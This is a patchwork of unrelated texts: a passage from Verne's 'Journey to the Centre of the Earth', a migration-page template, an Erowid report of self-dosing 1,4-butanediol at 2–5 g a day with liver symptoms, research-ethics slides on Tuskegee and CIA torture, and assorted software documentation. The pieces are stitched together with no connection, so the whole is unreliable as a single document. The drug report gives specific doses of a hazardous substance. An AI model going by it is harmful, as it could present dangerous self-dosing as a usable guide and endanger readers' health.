"Axel," she said, "I have had a long talk with my guardian. He is a bold philosopher, a man of immense courage, and you must remember that his blood flows in your veins. He has confided to me his plans, his hopes, and why and how he hopes to attain his object. He will no doubt succeed. My dear Axel, it is a grand thing to devote yourself to science! What honour will fall upon Herr Liedenbrock, and so be reflected upon his companion! When you return, Axel, you will be a man, his equal, free to speak and to act independently, and free to ––"
The dear girl only finished this sentence by blushing. Her words revived me. Yet I refused to believe we should start. I drew Gräuben into the Professor's study.
"Uncle, is it true that we are to go?"

"Well, I don't doubt," I said, not to vex him; "but, I ask, what need is there to hurry?"
"Time, time, flying with irreparable rapidity."
"But it is only the 16th May, and until the end of June ––"
"What, you monument of ignorance! do you think you can get to Iceland in a couple of days? If you had not deserted me like a fool I should have taken you to the Copenhagen office, to Liffender & Co., and you would have learned then that there is only one trip every month from Copenhagen to Rejkiavik, on the 22nd."
"Well?"
"Well, if we waited for the 22nd June we should be too late to see the shadow of Scartaris touch the crater of Sneffels. Therefore we must get to Copenhagen as fast as we can to secure our passage.
There was no reply to this. I went up to my room. Gräuben followed me. She undertook to pack up all things necessary for my voyage. She was no more moved than if I had been starting for a little trip to Lübeck or Heligoland. Her little hands moved without haste. She talked quietly. She supplied me with sensible reasons for our expedition. She delighted me, and yet I was angry with her. Now and then I felt I ought to break out into a passion, but she took no notice and went on her way as methodically as ever.
Finally the last strap was buckled; I came downstairs. All that day the philosophical instrument makers and the electricians kept coming and going. Martha was distracted.
"Is master mad?" she asked.
I nodded my head.
"And is he going to take you with him?"
I nodded again.
"Where to?"
I pointed with my finger downward.
"Down into the cellar?" cried the old servant.
"No," I said. "Lower down than that."
Night came. But I knew nothing about the lapse of time.
"To–morrow morning at six precisely," my uncle decreed "we start."
At ten o'clock I fell upon my bed, a dead lump of inert matter. All through the night terror had hold of me. I spent it dreaming of abysses. I was a prey to delirium. I felt myself grasped by the Professor's sinewy hand, dragged along, hurled down, shattered into little bits. I dropped down unfathomable precipices with the accelerating velocity of bodies falling through space. My life had become an endless fall. I awoke at five with shattered nerves, trembling and weary. I came downstairs. My uncle was at table, devouring his breakfast. I stared at him with horror and disgust. But dear Gräuben was there; so I said nothing, and could eat nothing.
At half–past five there was a rattle of wheels outside. A large carriage was there to take us to the Altona railway station. It was soon piled up with my uncle's multifarious preparations.
"Where's your box?" he cried.
"It is ready," I replied, with faltering voice.
"Then make haste down, or we shall lose the train."
It was now manifestly impossible to maintain the struggle against destiny. I went up again to my room, and rolling my portmanteaus downstairs I darted after him.
At that moment my uncle was solemnly investing Gräuben with the reins of government. My pretty Virlandaise was as calm and collected as was her wont. She kissed her guardian; but could not restrain a tear in touching my cheek with her gentle lips.
"Gräuben!" I murmured.
"Go, my dear Axel, go! I am now your betrothed; and when you come back I will be your wife."
I pressed her in my arms and took my place in the carriage. Martha and the young girl, standing at the door, waved their last farewell. Then the horses, roused by the driver's whistling, darted off at a gallop on the road to Altona.


{# Generate a basic HTML view of the raw data #}
{% if pending_migrations %}
Pending Migrations
Manage pending migrations
{% for migration in pending_migrations %}
{% include "migration_approval_start.html" %}
{% include "migration_approval_end.html" %}
{% endfor %}
{% endif %}
Recent History
+ Internal Revisions
{% for r in internal_revisions %}
- {{ r.rev_id }}
{% endfor %}
+ Public Revisions
{% for r in public_revisions %}
- {{ r.rev_id }}
{% endfor %}
+ Equivalences
Internal Revision |
Public Revision |
{% for e in equivalences %}
| {{ e.internal_revision_obj.rev_id }} |
{{ e.public_revision_obj.rev_id }} |
{% endfor %}
+ Exports
Up To |
Submittted As |
{% for m in exports %}
| {{ m.up_to_revision.rev_id }} |
{{ m.submitted_as.rev_id }} |
{% endfor %}
+ Imports
Up To |
Submitted As |
{% for m in imports %}
| {{ m.up_to_revision.rev_id }} |
{{ m.submitted_as.rev_id }} |
{% endfor %}
Get MOE back on track
Sometimes, MOE messes up. Luckily, there are ways to fix it.
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{% include "note_equivalence.html" %}
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{% include "note_import_migration.html" %}
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😱 worries about satisfying the team
😬 worries about satisfying customers
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Let's talk before I tell you everything I know 💰
14 broken 🏸 later...
Having fun in conventional sense is a myth. 😂
Fun is in pursuing, including failure.
Go fail! Be angry! Try again!
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Began experimeting with daily dosing(~2.0-5.0g/day) of 1,4-Butanediol (99.9%). After nearly three weeks, I began to experience symptoms of possible 1,4-B toxicity. Upper respiratory congestion/irritation, ocular irration, and pain in upper right quadrant of abdomen. Possible systemic and organ specific toxicity? Getting LFT'S and general blood drawn. I'll report my results and experiences.
As promised, here are the results of my lab report. I have an isolated, elevated, bilirubin level. Actually quite high, 2.9(!). This could be and probably is indicative of some liver disfunction. Jaundice is usually apparent at 2.0 with yellowing of the conjunctiva (which I do have). All other LFT's appear normal. However, GGT was not evaluated.(This enzyme is very important as it is one of the only 'liver specific' ones). Getting more tests. Bilirubin (direct,indirect), Iron and GGT. I must admit, I've experienced some hepatic dysfunction in the past. Although my doctor believed it to be transite and not significant. I was a very heavy anabolic/androgenic steriod(AAS)user for more than eight years. I had very heavy use of oral(C-17) AAS, which can be significantly hepatotoxic. Unfortunately, I was also a binge drinker. Heavily abusing alcohol every weekend for over a year and a half. This undoubtly put undue stress on my liver perhaps causing some (subclinical) damage.
I believe it is entirely possible that I am very sensitive to many compounds with even mild hepatotoxic potential compared to the average person. So, my experiences with 1,4-B may not be applicable to those with out any prexisting conditions. I will report upon my condition and it's possible/causual link to 1,4-B ingestion in the near future.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Human-Mosquito Interaction Project
Ethics and Data Protection
John Palmer
Nuremberg Medical Trial
- Nazi doctors did medical experiments on concentration camp victims
- Treatments included involuntary sterilization, inducing hypothermia, exposure to diseases and toxic chemicals, experimental organ and limb transplants, and placement in low pressure chambers
- Victims suffered excruciating pain, mutilation, and death
Nuremberg Code
- Voluntary consent of the human subject is absolutely essential
- The experiment must yield generalizable knowledge that could not be obtained in any other way and is not random and unnecessary in nature
- Animal experimentation should precede human experimentation
- All unnecessary physical and mental suffering and injury should be avoided
- No experiment should be conducted if there is reason to believe that death or disabling injury will occur
- The degree of risk to subjects should never exceed the humanitarian importance of the problem
- Risks to the subjects should be minimized through proper preparations
- Experiments should only be conducted by scientifically qualified investigators
- Subjects should always be at liberty to withdraw from experiments
- Investigators must be ready to end the experiment at any stage if there is cause to believe that continuing the experiment is likely to result in injury, disability or death to the subject
Guatemala Syphilis Tests
- American doctors infected nearly 700 Guatemalan prison inmates, mental patients and soldiers with venereal diseases to test effectiveness of penicillin.
- Paid for syphilis-infected prostitutes to sleep with prisoners, and if this did not lead to infection, doctors poured bacteria onto scrapes on their bodies or injected the bacteria into their spines.
- 1946-48
Tuskegee Syphilis Experiment
- U.S. Public Health Service study of long-term effects of syphilis, using panel of 600 black men, most of whom were poor and uneducated, without informed consent.
- Subjects told, inaccurately, that painful research procedures like spinal taps were treatments.
- 400 members of panel with syphilis intentionally denied treatment.
- Death rate for those with syphilis found to be about double that of control group.
- 1932-72
Jewish Chronic Disease Hospital Study
- Cancer cells injected into chronically ill patients in New York.
- Patients told they were getting skin treatments.
- 1963
Willowbrook Study
- Children at Willowbrook State School for "mentally defective persons" deliberately infected with hepatitis.
- Parents had given consent, but this was prerequisite for admission to the school.
- 1963-66
- The MKUltra abuses should have prompted the APA to think very seriously about its future relationship with its deep-pocketed paymasters at the Pentagon and the CIA, yet the association’s ethics code continued to offer little in the way of guidance for the conflicted psychologist.
- Antonio Melechi, Bodies of evidence: psychologists and the CIA torture scandal, Times Higher Education, Sept. 29, 2016.
 Over the next 20 days, he was sleep deprived, slammed against his prison door, imprisoned in a box and waterboarded 83 times . . . . Later, when Zubaydah was said to have “partially” refused liquids, the CIA Office of Medical Services’ own physicians administer[ed] a series of rectal enemas whose sole purpose was to violate and degrade. In other words, Zubaydah was not only tortured, he was medically raped.
- Antonio Melechi, Bodies of evidence: psychologists and the CIA torture scandal, Times Higher Education, Sept. 29, 2016.
- The foundations of what was to become known as “enhanced interrogation” were laid when Kirk Hubbard, the CIA’s director of behavioural research and an APA member, commissioned James Mitchell and Bruce Jessen, two ex-US air force psychologists, to deliver a report on possible “countermeasures to al-Qaeda resistance to interrogation techniques”.
- Antonio Melechi, Bodies of evidence: psychologists and the CIA torture scandal, Times Higher Education, Sept. 29, 2016.
- In late 2002, enhanced interrogation claimed its first fatality. Gul Rahman, an Afghan citizen, died of hypothermia after being left naked from the waist down on the stone floor of his cell. Three months earlier, the APA – of which Mitchell was a member until 2006 – had amended its ethics code, such that psychologists could . . . invoke the same legal defence that Nazi physicians had made at Nuremberg: they were only following orders.
- Antonio Melechi, Bodies of evidence: psychologists and the CIA torture scandal, Times Higher Education, Sept. 29, 2016.
How do we explain this behavior?
Banality of Evil
- I was struck by a manifest shallowness in the doer which made it impossible to trace the incontestable evil of his deeds to any deeper level of roots or motives. The deeds were monstrous, but the doer—at least, the very effective one now on trial—was quite ordinary, commonplace, and neither monstrous nor demonic.
- Hannah Arendt, Reflections: Thinking~I, New Yorker, Nov. 21, 1977 (posthumously published article in which she expands on the term she made famous when writing about Eichmann trial).
- Participants provided uninformed verbal consent and signed a waiver absolving Yale University of legal responsibility.
- Nick Haslam, Steve Loughnan & Gina Perry (2014) Meta-Milgram: An Empirical Synthesis of the Obedience Experiments. PLoS ONE 9(4): e93927. doi:10.1371/journal.pone.0093927
- Attempts have been made to replicate it with mixed results and the original data have been re-examined. Meanwhile, archival scholarship continues to examine the origins of Milgram's work and to unearth troubling discrepancies between its public representation and how its methodology was executed in practice.
- Nick Haslam, Steve Loughnan & Gina Perry (2014) Meta-Milgram: An Empirical Synthesis of the Obedience Experiments. PLoS ONE 9(4): e93927. doi:10.1371/journal.pone.0093927 (citations omitted)
Belmont Report
- National Commission established by U.S. Congress in response to Tuskegee revelations.
- Released in 1979 as set of principles and guidelines for human subjects research.
- Key Principles: Respect for persons, Beneficence, Justice
Respect for Persons
- Individuals should be treated as autonomous agents
- Persons with diminished autonomy are entitled to additional protections
Beneficence
- Do no harm
- Maximize possible benefits and minimize possible harms
Justice
- Treat individuals and groups fairly and equitably in terms of bearing the burdens and receiving the benefits of research.
Facebook Emotional Contagion Experiment
Facebook Experiement Summary
- We show, via a massive (N = 689,003) experiment on Facebook, that emotional states can be transferred to others via emotional contagion, leading people to experience the same emotions without their awareness. We provide experimental evidence that emotional contagion occurs without direct interaction between people (exposure to a friend expressing an emotion is sufficient), and in the complete absence of nonverbal cues.
- Kramer, A. D., Guillory, J. E., & Hancock, J. T. (2014). Experimental evidence of massive-scale emotional contagion through social networks. Proceedings of the National Academy of Sciences, 111(24), 8788-8790.
Facebook Experiment Methods
- 1-week experiment with N=689,003, involving analysis of 3 million posts and 122 million words.
- New Feed algorithm manipulated to reduce exposure to post with positive or negative emotional content.
- All content could still be viewed on friends' walls and no direct messages were altered.
- No text was seen by researchers.
Data Protection
- the technical framework and security measures designed to guarantee that all personal data are safe from unforeseen, unintended or malevolent use.
- European University Institute, Guide on Good Data Protection Practice in Research, May 2016
Personal Data
- any information relating to an "identified or identifiable natural person".
- "identifiable person" = one who can be identified directly or indirectly, "in particular by reference to an identification number or to one or more factors specific to his or her physical, physiological, mental, economic, cultural or social identity."
- European University Institute, Guide on Good Data Protection Practice in Research, May 2016
Data Security
- take the appropriate technical and organisational measures to prevent any unauthorised act with regard to the data;
- make sure that no one will access, read, copy, alter, use in any way or process the data unless he/she is authorised to do so according to clear access rules;
- organise the processing in a way that gives you complete control and tracking of the procedures followed;
- if someone is processing data on your behalf, you need to choose someone able to guarantee secure processing.
- European University Institute, Guide on Good Data Protection Practice in Research, May 2016
Secure Data Storage: Key Questions
- Where is the data stored?
- On which hardware type is the data stored?
- Who has access to the data?
- For how long will the data be stored, accessed?
- If stored on a machine, is the storage machine/server equipped with Wifi, Bluetooth, USB drive, or other devices that might ease data duplication of circulation?
- What data backup policies and processes will be implemented?
- European University Institute, Guide on Good Data Protection Practice in Research, May 2016
Using Encryption
(Resources from Electronic Frontier Foundation)
Using Encryption
- Symmetric encryption
- Asymmetric (public key) encryption
Using Encryption
- Full disk encryption for hard drives
- Mobile phone encryption
H-MIP Standard Operating Procedures
- NDAs from all team members who will have access to personal data from the project
- No collection of personal data without informed consent
- Abide by data use/processing limits, and requirements for handling, storage and destruction of personal data
- All devices on which personal data from the project are stored must be encrypted and reported to PI so they can be inventoried
- As per NDAs, personal data from the project must not be shared with third parties, including Google, Dropbox, and Slack (i.e. do not place unencrypted data in an email or on cloud storage or Slack channel)
- Immediately report any data breaches or suspected data breaches to PI
- Safety, privacy and other rights of yourselves and of project participants come first no matter what. Better to stop and check if any doubts.
Phase 1: 5 small-scale sites
- Volunteer selection and consent
- Mosquito collection and observation of premises
- Saliva collection
- Interviews
- Participant observation
- Space Mapper
- Sample transportation and lab work
- Analysis
Phase 2: scale-up
- Survey design
- Survey implementation
- Mosquito collection
- Sample transportation and lab work
- Data analysis


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I'm a graduate student in System Software Laboratory at UNIST (Advisor: Prof. Young-ri Choi)
Contact Info
E-mail<EMAIL_ADDRESS>Office: UNIST Engineering building 106 Room 605
Developed a general data visualization library for both static and streaming data, Proteic.js [github]
Participated in web development for Real-time Interactive Data Visualization [github]
Fixed the error of accuracy operation in distributed all reduce mode [github]
Fixed the default run command in README.md to avoid minor error [github]
Cloud Computing: "PHD-PSGD: Probabilistic Heterogeneity-aware Decentralized Training" [paper]
AI System: "Hybrid Model Parallel and All-Reduce on Distributed GPU Clusters" [paper]
Computer Vision: "Addition Residual Learning to Fully Convolutional DenseNets for Semantic Segmentation" [github]
Deep Learning: "Body Language Translator" [github]


{% extends "../../layout.html" %} {% block sectionClasses %}plugins hasBreadCrumb plugins-spincast-http-client-with-websocket{% endblock %} {% block meta_title %}Plugins - Spincast HTTP Client with WebSocket support{% endblock %} {% block meta_description %}Client to easily create and send HTTP requests and establish WebSocket connections.{% endblock %} {% block scripts %} {% endblock %} {% block body %}
This plugin is the same as the Spincast HTTP Client plugin but
adds support for WebSockets
.
We decided to create two separate versions because
this one uses classes from Undertow, so more transitive dependencies are pulled
into an application using it.
We wanted to give the possibility to use the HTTP Client
without those extra dependencies, if preferred.
But note that if you are already using the default Server
in your Spincast application, it is also
based on Undertow, so you already pull those dependencies anyway...
All the WebSockets tests of Spincast use this HTTP client so have a look at them for a lot of examples!
WebsocketClientHandler websocketHandler = new WebsocketClientHandler() { @Override public void onEndpointMessage(String message) { System.out.println("Message received from the server: " + message); } @Override public void onEndpointMessage(byte[] message) { System.out.println("Binary message received from the server..."); } @Override public void onConnectionClosed(int code, String reason) { System.out.println("WebSocket connection closed."); } }; HttpClient httpClient = getHttpClient(); WebsocketClientWriter websocketWriter = httpClient.websocket("http://example.com/someEndpoint") .setCookie("cookieKey", "cookieValue") .setHeader("headerKey", "headerValue") .connect(websocketHandler); websocketWriter.sendMessage("Hi server!");
Explanation :
WebSocket handler
which is responsible for handling the WebSocket events.
HTTP Client
to connect to
a WebSocket endpoint. Note that you can use all the
utilities available from the HTTP core: addCookie(...)
,
addHeader(...)
, etc.
WebSocket writer
is returned when
to connection is established.
writer
to send message to the endpoint.
You can bind the SpincastHttpClientWithWebsocketConfig interface if you want to change some default configurations. The default implementation class for those configurations is SpincastHttpClientWithWebsocketConfigDefault.
httpClient()
Route Handlers
.
Learn how to install an add-on in the dedicated section of the documentation.
1. Add this Maven artifact to your project:
<dependency> <groupId>org.spincast</groupId> <artifactId>spincast-plugins-http-client-with-websocket</artifactId> <version>{{spincast.spincastCurrrentVersion}}</version> </dependency>
2. Add an instance of the SpincastHttpClientWithWebsocketPlugin plugin to your Spincast Bootstrapper: {% verbatim %}
Spincast.configure() .plugin(new SpincastHttpClientWithWebsocketPlugin()) // ...
The class implementing the SpincastPlugin interface is SpincastHttpClientWithWebsocketPlugin.


Creates a new Vaadin
Web Application as a Maven POM project. This template creates several Maven projects to split up server side and client side development.


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Main process
runs package.json's main script:
- displays a GUI
- creates web pages by creating BrowserWindow instances
Renderer process
each webpage runs its own isolated process
April 2013 Atom Shell is started
May 2014 Atom Shell is open sourced
April 2015 Atom Shell is re-named Electron
May 2016 Electron releases v1.0.0
May 2016 Electron apps compatible with Mac App Store
August 2016 Windows Store support for Electron apps
(formerly known as Atom Shell)
is an open-source cross-platform framework for creating native applications with web technologies created and maintained by GitHub
Electron has since been used to create applications by GitHub and also by such companies like Microsoft, Facebook, Slack, and Docker
uses Chromium and Node.js
to build an app with HTML, CSS, and JavaScript
open source project maintained by GitHub and an active community of contributors
compatible with Mac, Windows, and Linux
AutoUpdater enables apps to automatically update themselves
Class Menu helps to create native application menus and context menus (according style of application menu Windows, Linux or macOS)
CrashReporter submits crash reports to a remote server
ContentTracing - collects tracing data from Chromium's content module for finding performance bottlenecks and slow operations
Chrome Developer Tools
Devtron
Spectron
A most basic Electron app would have the following folder structure:
your-app/
├── package.json
├── main.js
└── index.html
Main process
runs package.json's main script:
- displays a GUI
- creates web pages by creating BrowserWindow instances
Renderer process
each webpage runs its own isolated process
install Node.js
$ npm install -g electron
$ npm install --save-dev electron
running the app: $ npm start
Electron Packager -> app into an executable file:
- double click on users' machines
- assets, node.js modules, minified WebKit browser
Separate distributions for different OS
$ npm i -D electron@latest
# Electron 2.0.0
# Node 8.9.3
# Chromium 61.0.3163.100
$ npm i -D electron@beta
# Electron 2.0.0-beta.8
# Node 8.9.3
# Chromium 61.0.3163.100
Docs: https://electronjs.org/docs
Quick-start: https://github.com/electron/electron-quick-start
Spectron: https://electronjs.org/spectron


Namespaces Example¶
In this example you’ll see how namespaces work in the framework.
Each namespace has its own independent injectables registry and one namespace cannot see the others injectables.
To illustrate how this works we declare two classes, InternationalMeasuringService
and UnitedStatesMeasuringService
, and register them both as injectables for the
"MEASURING_SERVICE"
qualifier but each is assigned to a different namespace,
"INTL"
and "US"
respectively.
In our Namespace
example class we inject three parameters with
"MEASURING_SERVICE"
injectables: first without specifying any particular namespace
and also declaring the injection as optional; then specifying the "INTL"
namespace;
and at last specifying the "US"
namespace.
By running the example we can see that the default_measuring_service
is not injected
and that the other ones are successfully injected without conflicts in resolving the
qualifier.
What we see for the default_measuring_service
argument is that without specifying a
namespace the default namespace is used and no injectable that resolves the
"MEASURING_SERVICE"
qualifier were registered in the default namespace. Then, for
the intl_measuring_service
and us_measuring_service
arguments we only have a
single injectable resolving the "MEASURING_SERVICE"
qualifier declared in each
namespace, therefore no conflicts.
See also
The Optional Injection Example details how declaring an injection as optional works.
from typing import Optional
from examples import Example
from injectable import Autowired, autowired, load_injection_container
class Namespaces(Example):
@autowired
def __init__(
self,
default_measuring_service: Autowired(Optional["MEASURING_SERVICE"]),
intl_measuring_service: Autowired("MEASURING_SERVICE", namespace="INTL"),
us_measuring_service: Autowired("MEASURING_SERVICE", namespace="US"),
):
self.default_measuring_service = default_measuring_service
self.intl_measuring_service = intl_measuring_service
self.us_measuring_service = us_measuring_service
def run(self):
print(self.default_measuring_service)
# None
print(self.intl_measuring_service.earth_to_sun_distance())
# 151.38 million km
print(self.us_measuring_service.earth_to_sun_distance())
# 94.06 million miles
def run_example():
load_injection_container()
example = Namespaces()
example.run()
if __name__ == "__main__":
run_example()
from injectable import injectable
@injectable(qualifier="MEASURING_SERVICE", namespace="INTL")
class InternationalMeasuringService:
def earth_to_sun_distance(self):
return "151.38 million km"
from injectable import injectable
@injectable(qualifier="MEASURING_SERVICE", namespace="US")
class UnitedStatesMeasuringService:
def earth_to_sun_distance(self):
return "94.06 million miles"


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RayCollisionHelper
differ.data.RayCollisionHelper
A static extension class helper for RayCollision
class
Methods
hitEndXstatic
hitEndX(data:differ.data.RayCollision) : Float
Convenience: get the end X point along the line. Note that it is possible that this extends beyond the length of the ray, when RayCollision
end
value is > 1, i.e the end of the ray is inside the shape area.
If you need that point, you would use ray.end as the point,
i.e if(data.end > 1) point = data.ray.end; else point = data.hitEnd();
hitEndYstatic
hitEndY(data:differ.data.RayCollision) : Float
Convenience: get the end point along the line. Note that it is possible that this extends beyond the length of the ray, when RayCollision
end
value is > 1, i.e the end of the ray is inside the shape area.
If you need that point, you would use ray.end as the point,
i.e if(data.end > 1) point = data.ray.end; else point = data.hitEnd();
hitStartXstatic
hitStartX(data:differ.data.RayCollision) : Float
Convenience: get the start X point along the line. It is possible the start point is not along the ray itself, when the
start
value is < 0, the ray start is inside the shape.
If you need that point, use the ray.start point,
i.e if(data.start < 0) point = data.ray.start; else point = data.hitStart();
hitStartYstatic
hitStartY(data:differ.data.RayCollision) : Float
Convenience: get the start Y point along the line


--- title: NlpVariable layout: doxygen comments: false sidebar: doxygen_sidebar topnav: topnav tags: false ---
This class provides a data structure for NLP optimization variables. More...
Public Member Functions | |
| NlpVariable (varargin) | |
| The class constructor function. More... | |
| function obj = | setIndices (integer index) |
| Sets indinces of the Nlp Variables. More... | |
| function obj = | setBoundary (colvec lowerbound,colvec upperbound) |
| Sets the lower/upper boundary value for a NLP variable. More... | |
| function obj = | setInitialValue (colvec x) |
| Sets a typical initial value for the NLP variables. This value will be used to assign the initial value for the NLP solver. More... | |
| function obj = | updateProp (varargin) |
| This function updates the properties of the class object based on the input name-value pair arguments. More... | |
Public Attributes | |
| char | Name |
| A string that specifies the name of the optimization variable. More... | |
| integer | Dimension = 0 |
| The dimension the optimization variable. More... | |
| colvec | InitialValue |
| The typical value of the variable. More... | |
| colvec | LowerBound |
| The lower limit of the optimization variable. More... | |
| colvec | UpperBound |
| The upper limit of the optimization variable. More... | |
| colvec | Indices |
| The index of the current variable in an array of NlpVariable objects. More... | |
| Public Attributes inherited from handle | |
| addlistener | |
| Creates a listener for the specified event and assigns a callback function to execute when the event occurs. More... | |
| notify | |
| Broadcast a notice that a specific event is occurring on a specified handle object or array of handle objects. More... | |
| delete | |
| Handle object destructor method that is called when the object's lifecycle ends. More... | |
| disp | |
| Handle object disp method which is called by the display method. See the MATLAB disp function. More... | |
| display | |
| Handle object display method called when MATLAB software interprets an expression returning a handle object that is not terminated by a semicolon. See the MATLAB display function. More... | |
| findobj | |
| Finds objects matching the specified conditions from the input array of handle objects. More... | |
| findprop | |
| Returns a meta.property objects associated with the specified property name. More... | |
| fields | |
| Returns a cell array of string containing the names of public properties. More... | |
| fieldnames | |
| Returns a cell array of string containing the names of public properties. See the MATLAB fieldnames function. More... | |
| isvalid | |
| Returns a logical array in which elements are true if the corresponding elements in the input array are valid handles. This method is Sealed so you cannot override it in a handle subclass. More... | |
| eq | |
| Relational functions example. See details for more information. More... | |
| transpose | |
| Transposes the elements of the handle object array. More... | |
| permute | |
| Rearranges the dimensions of the handle object array. See the MATLAB permute function. More... | |
| reshape | |
| hanges the dimensions of the handle object array to the specified dimensions. See the MATLAB reshape function. More... | |
| sort | |
| ort the handle objects in any array in ascending or descending order. More... | |
This class provides a data structure for NLP optimization variables.
Copyright (c) 2016, AMBER Lab All right reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted only in compliance with the BSD 3-Clause license, see http://www.opensource.org/licenses/bsd-license.php
|
inline |
The class constructor function.
| varargin | variable nama-value pair input arguments, in detail: Required Parameters for varargin:
|
Sets the lower/upper boundary value for a NLP variable.
| lowerbound | the lower boundary values |
| upperbound | the upper boundary values |
| function obj = NlpVariable.setIndices | ( | integer | index | ) |
Sets indinces of the Nlp Variables.
| index | the indices of the variables |
| function obj = NlpVariable.setInitialValue | ( | colvec | x | ) |
Sets a typical initial value for the NLP variables. This value will be used to assign the initial value for the NLP solver.
| x | an array of initial value of the NLP variables |
| function obj = NlpVariable.updateProp | ( | varargin | ) |
This function updates the properties of the class object based on the input name-value pair arguments.
| varargin | variable nama-value pair input arguments, in detail: updateProp ( lb, ub, x0 )
|
| NlpVariable.Dimension = 0 |
The dimension the optimization variable.
When we define a optimization variable, we assume that it represnts a vector of variable that belongs to a particular group. For example, the joint configurations q
and control inputs u
. The dimension
specifies the length of this vector.
Default: 0
SetAccess = Protected, GetAccess = Public
| NlpVariable.Indices |
The index of the current variable in an array of NlpVariable objects.
SetAccess = Protected, GetAccess = Public
| NlpVariable.InitialValue |
The typical value of the variable.
You can specify a typical value for the variable explicity. If not given, this value will be determined by the upper/lower boundary of the variable. If both upper/lower boundary values are infinity, then we set the typical value as zeros. If one of the upper/lower boundary values is infinity, then the typical value will be the non-infinity boundary value. Otherwise, the typical value will be the middle point of the two boundary values.
SetAccess = Protected, GetAccess = Public
| NlpVariable.LowerBound |
The lower limit of the optimization variable.
SetAccess = Protected, GetAccess = Public
| NlpVariable.Name |
A string that specifies the name of the optimization variable.
SetAccess = Protected, GetAccess = Public
| NlpVariable.UpperBound |
The upper limit of the optimization variable.
SetAccess = Protected, GetAccess = Public


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IntelliJ IDEA QuickStart Guide
This quickstart is a small guide to get you up and running to start using Wicket
within minutes. This project is meant to be a starting point for your first project.
If you are looking for examples, please look at the example projects.
This document and project assume you have no special plugins or application servers
installed on your machine. In the
final section
of this document some hints are given to speed up your development even further.
Summary
For the more seasoned developers here's a short list of steps to quickstart your
Wicket development. All these steps are explained in more detail below.
- download the quickstart project (follow the link in the navigation menu)
- unzip in your projects directory
- rename the directory to the name of your project
- start IDEA and load the project file
- rename the project and the module
- edit the module settings to select the Java SDK you wish to use
- create a new Application configuration using Start as the main class
- run the Application
-
open browser to
http://localhost:8081/quickstart
At the
end of this document
we suggest some next steps to take.
Setting Up
Prerequisites
We assume you have the following already installed:
- Java SDK 1.4 (or newer)
- IntelliJ IDEA 4.5 (or newer)
It is assumed, but not obligatory, that you have installed IntelliJ IDEA in the
following (Windows) directory:
and that your project resides in the default location:
-
%USERPROFILE%\IdeaProjects
Like stated before, it is not obligatory to use these settings, but if your
installation does not match this one, please substitute your setup for these
assumptions.
The QuickStart Project
Next you need to download the quickstart distribution project from our
sourceforge site.
Unzip the distribution into your IntelliJ IDEA project directory (which is typically located
under
%USERPROFILE%\IdeaProjects
).
Rename the directory that was just created to your required project name. In the
following the directory name is renamed to 'foobar'.
Running IntelliJ IDEA
Running the Application
The application has an internal webserver (
Jetty
) which can be used to quickly develop webapplications. All you need to do is to
run the application and point your browser to the webserver running from within
IntelliJ IDEA.
-
From the IDEA toolbar select the run dropdown and then the
'Edit Configurations' option.
-
Select the 'Application' tag and create a new application
configuration, using the Start as the
main class.
-
Close the dialog and run the Quickstart application configuration
from the IDEA toolbar.
- Start your browser
-
Point the browser to the local Jetty server:
http://localhost:8081/quickstart
.
Next Steps
This section gives some pointers on where to go now.
-
take a look at the
examples
-
find more information in the
manual
-
find more information on the
wiki
Jetty Configuration
The Jetty configuration file is located in the project directory:
src/main/resources/jetty-config.xml
Jetty is started on port 8081 in order to avoid conflicts with other installed
application servers (for instance Tomcat). This way it is easier to test with
different application servers. This can be configured in the configuration file.
See the
Jetty documentation
for information on how to configure Jetty.
Jetty is started in the
main
-method of the
wicket.quickstart.Start
class.
Customizing the Application
The main page definitions can be found in the
src/main/java/Index.html
HTML file and the
src/main/java/wicket.quickstart.Index.java
class.
Other Application Servers
Even though this project is aimed at Jetty, it is not prohibited to develop
using other application servers. If you have another setup, please leave a
note on how you set up your environment on the
wiki.


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